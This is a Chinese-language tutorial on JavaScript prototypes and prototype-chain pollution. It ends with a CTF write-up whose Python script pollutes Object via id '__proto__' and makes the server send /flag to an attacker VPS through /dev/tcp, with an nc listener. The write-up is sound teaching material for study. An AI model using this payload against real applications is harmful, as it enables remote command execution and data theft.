javascript基础

文章参考《javascript权威指南》
javascript是一个面向对象的语言到但是并没有class和对象的区分,class只是javascript中的一个关键字。
每个JS对象一定对应一个原型对象,并从原型对象继承属性和方法,在javascript要实现继承的关系全靠一个叫”原型链”的模式来实现的。

先来看下js如何创建对象

在js中new后面并不是跟的类,而是构造函数。

例如有一个person的构造函数,表示人的原型。

  1. function person(name,age){
  2. this.name = name;
  3. this.age = age;
  4. }

对于这个构造函数我们使用new就可以生成一个人的对象实例。

  1. var person1= new person('p1',1);
  2. console.log('name:'+person1.name + ' age:'+ person1.age); //name:p1 age:1

使用new运算符的缺点

使用构造函数生成实例对象,有一个缺点,就是无法共享属性和方法。

例如在person对象中的构造函数设置一个共享的属性species

  1. function person(name){
  2. this.name = name;
  3. this.species = '人类';
  4. }

然后生成两个实例对象

  1. var person1 = new person('p1',1);
  2. var person2 = new person('p2',2);

在这两个实例对象中species属性是互相独立的,修改其中的一个并不会影响到另一个。

  1. person1.species = '动物';
  2. consolep.log(person2.species); //人类

这样看并没有做到数据共享,对资源也是一种浪费。

引入prototype

为了解决这个问题,就给构造函数设置了prototype属性。

这个属性包含了一个对象,所有实例对象需要共享的属性和方法都存放在这个对象里面,而不需要共享的则放在构造函数里面。

例如

  1. function person(name,age){
  2. this.name = name;
  3. this.age = age;
  4. }
  5. person.prototype = { species : '人类' };
  6. var person1= new person('p1',1);
  7. var person2= new person('p2',2);
  8. console.log(person1.species); // 人类
  9. console.log(person2.species); // 人类

通过这个例子看到species属性是放在prototype中的,所以它是一个共享属性,同时会影响到person所有的实例对象。

  1. person.prototype.species = '动物';
  2. console.log(person1.species); // 动物
  3. console.log(person2.species); // 动物

我们发现属性是共享的,对于实例对象来说好像是继承了prototype对象一样。
接着往下看。

引入proto

添加一个共享方法

  1. function person(name,age){
  2. this.name = name;
  3. this.age = age;
  4. }
  5. person.prototype.log = function(){
  6. console.log('name:'+person1.name+',age:'+ person1.age);
  7. }
  8. var person1= new person('p1',1);
  9. var person2= new person('p2',2);
  10. person1.log(); //p1,1
  11. person2.log(); //p2,2

我们发现都调用共享方法log方法,如果我们此时修改log方法会发现所有实例对象都会一并影响到。
上面这些例子都是对象存在prototype属性可以使用的,那么这其中的原理是什么呢?

例如:

  1. var person1 = new person('p1',1);

我们去调用person1.log()时,person1这个对象并没有log()这个方法,但是他又是怎么样找到log()这个方法的呢?
按照javascript的运行机制来说,person1属于person的一个实例对象,所以如果person1找不到log,那么就回去person.prototype这里来找,那么又是怎么样让person1和person.prototype连接到一起呢?

所以javascript引入了proto

例如

  1. function person(name,age){
  2. this.name = name;
  3. this.age = age;
  4. }
  5. person.prototype.log = function(){
  6. console.log('name:'+person1.name+',age:'+ person1.age);
  7. }
  8. var person1= new person('p1',1);
  9. console.log(person1.__proto__==person.prototype); //结果为true

person1的proto会指到person.prototype,所以在person1在没有找到log时就会通过proto往person.prototype中寻找。
那么如果person.prototype中也没有log方法时怎么办呢?同样也是通过person.prototype.proto寻找,以此类推,不断的通过proto网上寻找,直到某一次proto指到null为止。

这样串起来的一条链,就叫做原型链,通过这样的逻辑方法可以实现类似继承的功能。

为了更好的理解演示下面的代码

  1. function person(name,age){
  2. this.name = name;
  3. this.age = age;
  4. }
  5. person.prototype.log = function(){
  6. console.log('name:'+person1.name+',age:'+ person1.age);
  7. }
  8. var person1= new person('p1',1);
  9. console.log(person1.__proto__==person.prototype); //结果为true
  10. console.log(person.prototype.__proto__==Object.prototype); //true
  11. console.log(Object.prototype.__proto__); //null

原型链污染

我们在上面实验很多例子,都会发现person.proto指向的是person的prototype。那么同样的我们修改perosn.proto__中的值,也就能够修改person类。

  1. var p={age:3}; //定义一个简单的对象p
  2. console.log(p.age); //3
  3. p.__proto__.age=11; //修改p的原型Object
  4. console.log(p,age); //由于原型链查找的顺序还是为3
  5. p1={}; //用Object创建一个空的p1对象
  6. console.log(p1.age); //11

因为我们前面修改了p.proto.age=11 而p是一个Object类的实例,所以就其实是修改了Object这个类。

然后我们又使用Object创建了一个p1的空对象,那么p1也就有了age这个属性。

我这里只演示对象被污染的情况,同样的function,string,数组都会被污染

所以当攻击者修改一个对象的原型后,那么可以影响和这个对象来自同一个类 父类的对象,这个攻击方式就叫做原型链污染。

题目演示

[网鼎杯 2020 青龙组]notes1:

漏洞点存在/status路由,exec导致了任意代码执行,所以我们只要能够污染到commands字典添加一个命令执行得命令即可。

在看下传参路由

可以传送三个参数id author enote

undefsafe函数在2.03版本下会产生漏洞

参考:https://github.com/remy/undefsafe

传入后会将参数写入note_list,edit_note函数通过 undefsafe 直接将 id.author 与 id.raw_note 解压到 this.note_list

又因为note_list得基本类型是{}也就是Object

当 note_list 的 proto 不存在时,

会递归到 note_list 所继承的 Object 属性上去寻找 proto,

那么此时, 假如传进来的 id 是 proto, 将会导致 this.note_list 的基本类型, 也就是 Object 的属性 proto 被污染, 在 Object 的 proto 属性上新增了 author 与 raw_note 属性.

而我们在上面演示过去污染一个Object,所以这个题目也一样得步骤方法

现在整条利用链都分析清楚了

payload:

  1. import json
  2. import requests
  3. s = requests.session()
  4. data={
  5. 'raw':'a',
  6. 'id':'__proto__',
  7. 'author':'cat /flag>/dev/tcp/vps/4444'
  8. }
  9. url='http://04293db0-4f4f-4f8f-907d-8389510f6de1.node4.buuoj.cn:81/'
  10. r=s.post(url+'edit_note',json=data)
  11. print(r.text)
  12. r=s.get(url+"status")
  13. print(r.text)
  14. vps:nc -lvvp 4444